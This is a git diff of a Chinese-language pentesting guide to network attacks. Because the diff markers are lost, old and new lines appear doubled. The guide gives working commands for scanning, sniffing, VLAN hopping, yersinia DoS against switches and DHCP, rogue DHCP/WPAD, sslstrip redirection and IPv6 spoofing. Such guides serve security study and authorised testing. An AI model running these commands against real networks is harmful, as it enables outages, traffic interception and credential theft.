Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔法数据包只是一个提供了 **MAC Dst** 的数据包，然后在同一个数据包中 **重复 16 次**。\
这种类型的数据包通常通过 **以太网 0x0842** 或 **UDP 数据包发送到 9 端口**。\
然后，这种类型的数据包通常以 **以太网 0x0842** 或 **UDP 数据包发送到 9 端口**。\
如果 **未提供 \[MAC]**，数据包将发送到 **广播以太网**（广播 MAC 将是被重复的那个）。
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
@ -121,10 +121,10 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
### TCP
- **开放**端口: _SYN --> SYN/ACK --> RST_
- **关闭**端口: _SYN --> RST/ACK_
- **过滤**端口: _SYN --> \[无响应]_
- **过滤**端口: _SYN --> ICMP 消息_
- **开放** 端口: _SYN --> SYN/ACK --> RST_
- **关闭** 端口: _SYN --> RST/ACK_
- **过滤** 端口: _SYN --> \[无响应]_
- **过滤** 端口: _SYN --> ICMP 消息_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
有两种选项可以扫描UDP端口：
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_，如果端口是**关闭**的（在多种情况下，ICMP会被**过滤**，因此如果端口关闭或打开，您将不会收到任何信息）。
- 发送一个**UDP数据包**并检查响应 _**ICMP不可达**_ 如果端口是**关闭**的（在多种情况下，ICMP会被**过滤**，因此如果端口关闭或打开，您将不会收到任何信息）。
- 发送**格式化的数据报**以引发**服务**的响应（例如，DNS、DHCP、TFTP等，如_nmap-payloads_中列出）。如果您收到**响应**，那么端口是**打开**的。
**Nmap**将使用“-sV”**混合这两种**选项（UDP扫描非常慢），但请注意，UDP扫描比TCP扫描慢：
@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
```
### SCTP 扫描
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据，反映出许多在 **信令系统 7 (SS7)** 中发现的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组件，旨在通过 IP 网络传输 SS7 信号。
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据，反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组成部分，旨在通过 IP 网络传输 SS7 信号。
各种操作系统提供对 **SCTP** 的支持，如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**，这表明它在电信和网络领域的广泛接受和实用性。
各种操作系统提供对 **SCTP** 的支持，如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**，这表明其在电信和网络领域的广泛接受和实用性。
nmap 提供了两种不同的 SCTP 扫描： _-sY_ 和 _-sZ_
```bash
@ -168,21 +168,21 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDS和IPS规避
### IDS 和 IPS 规避
{{#ref}}
ids-evasion.md
{{#endref}}
### **更多nmap选项**
### **更多 nmap 选项**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### 揭示内部IP地址
### 揭示内部 IP 地址
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可以用于识别在测试期间从私有地址接收到的数据包。具体来说，在Kali Linux上，可以在 **eth2接口** 上捕获数据包，该接口可以从公共互联网访问。需要注意的是，如果您的设置位于NAT或防火墙后面，这些数据包可能会被过滤掉。
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可以用于识别在测试期间从私有地址接收到的数据包。具体来说，在 Kali Linux 上，可以在 **eth2 接口** 上捕获数据包，该接口可以从公共互联网访问。需要注意的是，如果您的设置位于 NAT 或防火墙后面，这些数据包可能会被过滤掉。
```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的数据包。
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -256,7 +256,7 @@ macof -i <interface>
#### 动态干道
**动态干道协议 (DTP)** 被设计为一个链路层协议，以便于自动化的干道系统，允许交换机自动选择干道模式（Trunk）或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志，强调了仅在必要时手动配置干道的重要性，并确保适当的文档记录。
**动态干道协议 (DTP)** 被设计为一个链路层协议，以便于自动化的干道系统，允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志，强调了仅在必要时手动配置干道的重要性，并确保适当的文档记录。
默认情况下，交换机端口设置为动态自动模式，这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时，会引发安全问题，迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN，并通过设置虚拟接口来绕过 VLAN 分段。
@ -323,7 +323,7 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 中的主机** 是通过工具 **自动执行** 的: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 内的主机** 是通过工具 **自动执行** 的: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
@ -342,7 +342,7 @@ sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
如果您**可以访问直接连接的交换机**，您就有能力**绕过网络中的VLAN分段**。只需**将端口切换到干线模式**（也称为trunk），创建具有目标VLAN ID的虚拟接口，并配置IP地址。您可以尝试动态请求地址（DHCP），或者可以静态配置。具体取决于情况。
如果您**可以访问直接连接的交换机**，您就有能力**绕过 VLAN 分段**。只需**将端口切换到干道模式**（也称为 trunk），创建具有目标 VLAN ID 的虚拟接口，并配置 IP 地址。您可以尝试动态请求地址（DHCP），或者可以静态配置。具体情况而定。
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,34 +350,34 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
在某些环境中，例如访客无线网络，实施了**端口隔离（也称为私有VLAN）**设置，以防止连接到无线接入点的客户端直接相互通信。然而，已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络ACL的缺乏或其不当配置，使得IP数据包能够通过路由器路由到同一网络上的另一个客户端。
在某些环境中，例如访客无线网络，实施了**端口隔离（也称为私有 VLAN）**设置，以防止连接到无线接入点的客户端直接相互通信。然而，已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络 ACL 的缺失或配置不当，使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
攻击是通过创建一个**携带目标客户端IP地址但使用路由器MAC地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法，其中利用可访问受害者的主机的能力来利用安全漏洞。
攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法，其中利用可访问受害者的主机的能力来利用安全漏洞。
**攻击的关键步骤：**
1. **构造数据包：** 特别构造一个数据包，以包含目标客户端的IP地址，但使用路由器的MAC地址。
2. **利用路由器行为：** 将构造的数据包发送到路由器，由于配置原因，路由器将数据包重定向到目标客户端，绕过私有VLAN设置提供的隔离。
1. **构造数据包：** 特别构造一个数据包，包含目标客户端的 IP 地址，但带有路由器的 MAC 地址。
2. **利用路由器行为：** 将构造的数据包发送到路由器，由于配置原因，路由器将数据包重定向到目标客户端，绕过私有 VLAN 设置提供的隔离。
### VTP Attacks
VTP（VLAN Trunking Protocol）集中管理VLAN。它利用修订号来维护VLAN数据库的完整性；任何修改都会增加此数字。交换机采用具有更高修订号的配置，更新自己的VLAN数据库。
VTP（VLAN Trunking Protocol）集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性；任何修改都会增加此数字。交换机采用具有更高修订号的配置，更新自己的 VLAN 数据库。
#### VTP Domain Roles
- **VTP Server:** 管理VLAN——创建、删除、修改。它向域成员广播VTP公告。
- **VTP Client:** 接收VTP公告以同步其VLAN数据库。此角色限制本地VLAN配置修改。
- **VTP Transparent:** 不参与VTP更新，但转发VTP公告。不受VTP攻击影响，保持修订号为零。
- **VTP Server:** 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。
- **VTP Client:** 接收 VTP 通告以同步其 VLAN 数据库。此角色限制本地 VLAN 配置修改。
- **VTP Transparent:** 不参与 VTP 更新，但转发 VTP 通告。不受 VTP 攻击影响，保持修订号为零。
#### VTP Advertisement Types
- **Summary Advertisement:** 每300秒由VTP服务器广播，携带重要的域信息。
- **Subset Advertisement:** 在VLAN配置更改后发送。
- **Advertisement Request:** 由VTP客户端发出，请求Summary Advertisement，通常是响应检测到更高的配置修订号。
- **Summary Advertisement:** 每 300 秒由 VTP 服务器广播，携带重要的域信息。
- **Subset Advertisement:** 在 VLAN 配置更改后发送。
- **Advertisement Request:** 由 VTP 客户端发出，请求 Summary Advertisement，通常是响应检测到更高的配置修订号。
VTP漏洞仅通过干线端口可被利用，因为VTP公告仅通过它们传播。DTP攻击后的场景可能会转向VTP。像Yersinia这样的工具可以促进VTP攻击，旨在清除VLAN数据库，有效地破坏网络。
VTP 漏洞仅通过干道端口可被利用，因为 VTP 通告仅通过这些端口传播。在 DTP 攻击场景之后，可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击，旨在清除 VLAN 数据库，有效地破坏网络。
注意：本讨论涉及VTP版本1（VTPv1）。
注意：本讨论涉及 VTP 版本 1（VTPv1）。
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
@ -389,7 +389,7 @@ VTP漏洞仅通过干线端口可被利用，因为VTP公告仅通过它们传
#### **STP BPDU DoS**
发送大量BPDUs TCP（拓扑变化通知）或Conf（在创建拓扑时发送的BPDUs），交换机会过载并停止正常工作。
发送大量的BPDUs TCP（拓扑变化通知）或Conf（在创建拓扑时发送的BPDUs），交换机会过载并停止正常工作。
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@ -425,13 +425,13 @@ CDP 被配置为通过所有端口广播信息，这可能导致安全风险。
#### 诱导 CDP 表泛洪 <a href="#id-0d6a" id="id-0d6a"></a>
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击，淹没交换机的内存。以下是使用 Yersinia（一种用于测试的网络工具）发起此类攻击的命令序列：
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击，淹没交换机的内存。以下是使用 Yersinia 这一网络工具发起此类攻击的命令序列：
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
在此攻击中，交换机的CPU和CDP邻居表负担沉重，导致通常被称为**“网络瘫痪”**的情况，因为资源消耗过多。
在此次攻击中，交换机的CPU和CDP邻居表负担沉重，导致通常所称的**“网络瘫痪”**，这是由于过度的资源消耗。
#### CDP冒充攻击
```bash
@ -440,28 +440,28 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
```
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保通过 `scapy/contrib` 包安装它。
### VoIP 攻击和 VoIP Hopper 工具
### VoIP攻击和VoIP Hopper工具
VoIP 电话与 IoT 设备的集成日益增加，提供了通过特殊电话号码解锁门或控制恒温器等功能。然而，这种集成可能会带来安全风险。
VoIP电话与IoT设备的集成日益增加，提供了通过特殊电话号码解锁门或控制恒温器等功能。然而，这种集成可能会带来安全风险。
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟 VoIP 电话（Cisco、Avaya、Nortel、Alcatel-Lucent）。它使用 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议发现语音网络的 VLAN ID。
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟VoIP电话（Cisco、Avaya、Nortel、Alcatel-Lucent）。它使用CDP、DHCP、LLDP-MED和802.1Q ARP等协议发现语音网络的VLAN ID。
**VoIP Hopper** 为 Cisco 发现协议 (CDP) 提供三种模式：
**VoIP Hopper** 为Cisco发现协议（CDP）提供三种模式：
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别 VLAN ID。
2. **欺骗模式** (`-c 1`): 生成自定义数据包，模仿实际 VoIP 设备的数据包。
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定 Cisco IP 电话型号相同的数据包。
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别VLAN ID。
2. **欺骗模式** (`-c 1`): 生成自定义数据包，模仿实际VoIP设备的数据包。
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定Cisco IP电话型号相同的数据包。
速度优先的模式是第三种。它需要指定：
- 攻击者的网络接口（`-i` 参数）。
- 被模拟的 VoIP 设备的名称（`-E` 参数），遵循 Cisco 命名格式（例如，SEP 后跟 MAC 地址）。
- 被模拟的VoIP设备的名称（`-E` 参数），遵循Cisco命名格式（例如，SEP后跟MAC地址）。
在企业环境中，为了模仿现有的 VoIP 设备，可以：
在企业环境中，为了模仿现有的VoIP设备，可以：
- 检查电话上的 MAC 标签。
- 检查电话上的MAC标签。
- 浏览电话的显示设置以查看型号信息。
- 将 VoIP 设备连接到笔记本电脑，并使用 Wireshark 观察 CDP 请求。
- 将VoIP设备连接到笔记本电脑，并使用Wireshark观察CDP请求。
在第三种模式下执行工具的示例命令为：
```bash
@ -489,17 +489,17 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**两种类型的 DoS** 可以针对 DHCP 服务器执行。第一种是 **模拟足够的虚假主机以使用所有可能的 IP 地址**。\
此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例如，这在 **Wifi 网络中是不可行的**。
**对DHCP服务器可以执行两种类型的DoS**。第一种是**模拟足够多的虚假主机以使用所有可能的IP地址**。\
此攻击仅在您能够看到DHCP服务器的响应并完成协议时有效（**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)）。例如，这在**Wifi网络中是不可行的**。
执行 DHCP DoS 的另一种方法是发送 **DHCP-RELEASE 数据包，源地址为每个可能的 IP**。然后，服务器会认为每个人都已完成使用该 IP。
执行DHCP DoS的另一种方法是发送**DHCP-RELEASE数据包，源地址为每个可能的IP**。然后，服务器会认为每个人都已完成使用该IP。
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig)
您可以使用提到的 DoS 攻击迫使客户端在环境中获取新的租约，并耗尽合法服务器，使其变得无响应。因此，当合法服务器尝试重新连接时，**您可以提供下一个攻击中提到的恶意值**。
您可以使用提到的 DoS 攻击强迫客户端在环境中获取新的租约，并耗尽合法服务器，使其变得无响应。因此，当合法服务器尝试重新连接时，**您可以提供下一个攻击中提到的恶意值**。
#### 设置恶意值
@ -514,7 +514,7 @@ yersinia dhcp -attack 3 #More parameters are needed
- **次级 DNS 服务器 IP**：可选地，使用 `-s 10.0.0.1` 设置次级 DNS 服务器 IP。
- **本地网络的子网掩码**：使用 `-n 255.255.255.0` 定义本地网络的子网掩码。
- **DHCP 流量的接口**：使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。
- **WPAD 配置地址**：使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址，以协助拦截网络流量。
- **WPAD 配置地址**：使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址，以协助网络流量拦截。
- **欺骗默认网关 IP**：包括 `-S` 来欺骗默认网关 IP 地址。
- **响应所有 DHCP 请求**：包括 `-R` 使服务器响应所有 DHCP 请求，但要注意这会产生噪音并可能被检测到。
@ -533,13 +533,13 @@ yersinia dhcp -attack 3 #More parameters are needed
- 强制EAP-MD5身份验证以绕过TLS证书验证
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者与身份验证服务器之间，他可以尝试将身份验证协议降级（如有必要）到EAP-MD5并捕获身份验证尝试。然后，他可以使用以下方法进行暴力破解：
如果攻击者位于受害者和身份验证服务器之间，他可以尝试降级（如有必要）身份验证协议至EAP-MD5并捕获身份验证尝试。然后，他可以使用以下方法进行暴力破解：
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>
**FHRP** (第一跳冗余协议) 是一类网络协议，旨在 **创建一个热冗余路由系统**。通过 FHRP，物理路由器可以组合成一个单一的逻辑设备，从而提高容错能力并帮助分配负载。
**FHRP**（第一跳冗余协议）是一类旨在**创建热冗余路由系统**的网络协议。通过 FHRP，物理路由器可以组合成一个单一的逻辑设备，从而提高容错能力并帮助分配负载。
**思科系统工程师开发了两种 FHRP 协议，GLBP 和 HSRP。**
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
### RIP
已知存在三种版本的路由信息协议 (RIP)：RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报，而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面，RIPng 不包含原生身份验证；相反，它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
已知存在三种版本的路由信息协议（RIP）：RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报，而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面，RIPng 不包含原生身份验证；相反，它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
- **RIP 和 RIPv2：** 通过 UDP 数据报在 520 端口进行通信。
- **RIPng：** 利用 UDP 521 端口通过 IPv6 多播广播数据报。
@ -558,30 +558,30 @@ glbp-and-hsrp-attacks.md
### EIGRP 攻击
**EIGRP (增强型内部网关路由协议)** 是一种动态路由协议。**它是一种距离矢量协议。** 如果没有 **身份验证** 和被动接口的配置，**入侵者** 可以干扰 EIGRP 路由并导致 **路由表中毒**。此外，EIGRP 网络（换句话说，自治系统） **是扁平的，没有划分为任何区域**。如果 **攻击者注入一条路由**，这条路由很可能会 **传播** 到整个自治 EIGRP 系统。
**EIGRP（增强型内部网关路由协议）**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**身份验证**和被动接口的配置，**入侵者**可以干扰 EIGRP 路由并导致**路由表中毒**。此外，EIGRP 网络（换句话说，自治系统）**是扁平的，没有划分为任何区域**。如果**攻击者注入一条路由**，这条路由很可能会**传播**到整个自治 EIGRP 系统中。
攻击 EIGRP 系统需要 **与合法的 EIGRP 路由器建立邻接关系**，这打开了许多可能性，从基本侦察到各种注入。
攻击 EIGRP 系统需要**与合法的 EIGRP 路由器建立邻居关系**，这打开了许多可能性，从基本侦察到各种注入。
[**FRRouting**](https://frrouting.org/) 允许您实现 **支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它，实际上可以假装成为路由域中的合法路由器。
[**FRRouting**](https://frrouting.org/) 允许您实现**支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它，实际上可以假装成为路由域中的合法路由器。
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP (增强型内部网关路由协议) 广播的能力。它还允许注入数据包，可用于更改路由配置。
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP（增强型内部网关路由协议）广播的能力。它还允许注入数据包，可用于更改路由配置。
### OSPF
在开放最短路径优先 (OSPF) 协议中，**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而，这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希，暴露身份验证密钥。一旦获得该密钥，就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥，分别使用 _Injection_ 和 _Connection_ 选项卡。
在开放最短路径优先（OSPF）协议中，**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而，这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希，暴露身份验证密钥。一旦获得该密钥，就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥，分别使用 _Injection_ 和 _Connection_ 选项卡。
- **捕获和破解 MD5 哈希：** 使用 Loki 和 John the Ripper 等工具。
- **配置路由参数：** 通过 _Injection_ 选项卡进行。
- **设置被破坏的密钥：** 密钥在 _Connection_ 选项卡下配置。
### 其他通用工具与资源
### 其他通用工具和资源
- [**Above**](https://github.com/c4s73r/Above)：扫描网络流量并查找漏洞的工具
- 您可以在 [**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet) 找到一些 **关于网络攻击的更多信息**。
- 您可以在[**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet)找到一些**关于网络攻击的更多信息**。
## **欺骗**
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### 本地网关
系统和网络通常存在多条路径。在本地网络中建立 MAC 地址列表后，使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
系统和网络通常存在多个路由。在本地网络中建立 MAC 地址列表后，使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -646,7 +646,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
- 通过 **DHCP**，其中发现通过使用特殊代码 252 条目来促进。
- 通过 **DNS**，这涉及在本地域中搜索标记为 _wpad_ 的主机名。
- 通过 **Microsoft LLMNR 和 NBT-NS**，这些是 DNS 查询未成功时使用的后备机制。
- 通过 **Microsoft LLMNR 和 NBT-NS**，这些是 DNS 查询失败时使用的后备机制。
工具 Responder 利用此协议，充当 **恶意 WPAD 服务器**。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 [请查看这个](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
@ -661,9 +661,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 路由器广告欺骗/洪水攻击
### IPv6路由器广告欺骗/洪水攻击
某些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器，可以使用：
某些操作系统默认通过网络中发送的RA数据包配置网关。要将攻击者声明为IPv6路由器，可以使用：
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP欺骗
默认情况下，一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后，攻击者可以发送一个DHCPv6数据包，将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
默认情况下，一些操作系统尝试通过网络中的DHCPv6数据包来配置DNS。然后，攻击者可以发送一个DHCPv6数据包，将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -693,16 +693,16 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
更多信息 [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
### sslStrip+ 和 dns2proxy 绕过 HSTS
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_（注意**多出的**“**w**”），并将**该域名的地址设置为攻击者 IP**。这样，**客户端**将**连接**到 _**wwww.facebook.com**_ **（攻击者）**，但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https。
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_（注意**多了一个**“**w**”），并将**该域名的地址设置为攻击者 IP**。这样，**客户端**将**连接**到 _**wwww.facebook.com**_ **（攻击者）**，但在后台**sslstrip+**将**通过 https 维持**与 **www.facebook.com** 的**真实连接**。
此技术的**目标**是**避免 HSTS**，因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中，因此浏览器会被欺骗以**HTTP**进行**facebook 认证**。\
此技术的**目标**是**避免 HSTS**，因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中，因此浏览器会被欺骗以**HTTP 进行 Facebook 认证**。\
请注意，为了执行此攻击，受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com)，而不是 https。这可以通过修改 http 页面中的链接来实现。
更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass)、[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
更多信息 [here](https://www.bettercap.org/legacy/#hsts-bypass)，[here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则，因此即使用户第一次访问“重要”域名，他也会通过 HTTPS 访问。此外，请注意，预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **，因此之前的 _**wwww.facebook.com**_ **示例将不再有效，因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。**
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### 使用证书监听
#### 使用证书进行监听
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
有时，如果客户端检查CA是否有效，您可以**提供由CA签署的其他主机名的证书**。\
另一个有趣的测试是**提供请求的主机名的自签名证书**。
其他测试内容包括尝试用一个有效的证书签署该证书，但该证书并不是有效的CA。或者使用有效的公钥，强制使用一种算法，如Diffie-Hellman（不需要用真实私钥解密任何内容的算法），当客户端请求真实私钥的探测（如哈希）时，发送一个假探测，并期望客户端不检查这个。
其他测试内容包括尝试用一个有效的证书签署该证书，但该证书并不是有效的CA。或者使用有效的公钥，强制使用一种算法，如Diffie-Hellman（不需要用真实私钥解密任何内容），当客户端请求真实私钥的探测（如哈希）时，发送一个假探测，并期望客户端不检查这个。
## Bettercap
```bash
@ -774,7 +774,7 @@ ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可
### **mDNS（多播DNS）**
Bettercap每隔X毫秒发送一个MDNS请求，询问**\_services\_.dns-sd.\_udp.local**，看到此数据包的机器通常会回答此请求。然后，它只搜索回答“services”的机器。
Bettercap每隔X毫秒发送一个MDNS请求，询问**\_services\_.dns-sd.\_udp.local**，看到此数据包的机器通常会回答该请求。然后，它只搜索响应“services”的机器。
**工具**
@ -784,7 +784,7 @@ Bettercap每隔X毫秒发送一个MDNS请求，询问**\_services\_.dns-sd.\_udp
### **NBNS（NetBios名称服务器）**
Bettercap广播数据包到137/UDP端口，询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
Bettercap向端口137/UDP广播数据包，询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
### **SSDP（简单服务发现协议）**

10
src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md
View File

@ -8,7 +8,7 @@
## 1. Recon & Initial Access
